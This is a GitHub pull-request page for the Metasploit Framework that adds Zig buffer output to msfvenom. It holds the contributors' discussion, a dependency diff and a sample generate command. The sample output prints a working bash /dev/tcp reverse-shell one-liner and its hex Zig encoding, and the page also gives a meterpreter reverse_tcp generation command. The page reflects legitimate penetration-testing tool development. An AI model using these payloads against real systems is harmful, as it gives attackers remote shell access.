metasploit-framework icon indicating copy to clipboard operation
metasploit-framework copied to clipboard

feat(ziglang): add buffer/comment support

Open ArchiMoebius opened this issue 2 years ago • 2 comments

Adding support for Ziglang output with msfvenom

Requires https://github.com/rapid7/rex-text/pull/69

Verification

List the steps needed to make sure this thing works

msfvenom -p linux/x64/meterpreter/reverse_tcp -f zig

ArchiMoebius avatar Mar 23 '24 14:03 ArchiMoebius

0015 0017 (couldn't decide which all your base are belong to us zig reference to use)

h00die avatar Mar 23 '24 15:03 h00die

Could you run a bundle update rex-text to pull in the latest library changes released here: https://rubygems.org/gems/rex-text/versions/0.2.57

Or, if that's not working - here's the patch changes that I'd expect to be added as part of this pull request to get things working:

diff --git a/Gemfile.lock b/Gemfile.lock
index 6ca56c1a5a..c72c5b570c 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -426,7 +426,7 @@ GEM
       rex-socket
       rex-text
     rex-struct2 (0.1.4)
-    rex-text (0.2.56)
+    rex-text (0.2.57)
     rex-zip (0.1.5)
       rex-text
     rexml (3.2.6)
@@ -572,4 +572,4 @@ DEPENDENCIES
   yard

adfoster-r7 avatar Mar 28 '24 00:03 adfoster-r7

msf6 payload(cmd/unix/reverse_bash) > generate -f zig lhost=127.0.0.1

[+] bash -c '0<&24-;exec 24<>/dev/tcp/127.0.0.1/4444;sh <&24 >&24 2>&24'
// cmd/unix/reverse_bash - 73 bytes
// https://metasploit.com/
// VERBOSE=true, LHOST=127.0.0.1, LPORT=4444, 
// ReverseAllowProxy=false, ReverseListenerThreaded=false, 
// StagerRetryCount=10, StagerRetryWait=5, 
// AutoVerifySession=true, BashPath=bash, ShellPath=sh

const buf: []const u8 = &.{
0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x27,0x30,0x3c,0x26,
0x31,0x37,0x30,0x2d,0x3b,0x65,0x78,0x65,0x63,0x20,0x31,0x37,
0x30,0x3c,0x3e,0x2f,0x64,0x65,0x76,0x2f,0x74,0x63,0x70,0x2f,
0x31,0x32,0x37,0x2e,0x30,0x2e,0x30,0x2e,0x31,0x2f,0x34,0x34,
0x34,0x34,0x3b,0x73,0x68,0x20,0x3c,0x26,0x31,0x37,0x30,0x20,
0x3e,0x26,0x31,0x37,0x30,0x20,0x32,0x3e,0x26,0x31,0x37,0x30,
0x27};

adfoster-r7 avatar Apr 02 '24 22:04 adfoster-r7

Release Notes

Updates msfvenom and payload generation to support formatting payloads as a Zig buffer

adfoster-r7 avatar Apr 02 '24 22:04 adfoster-r7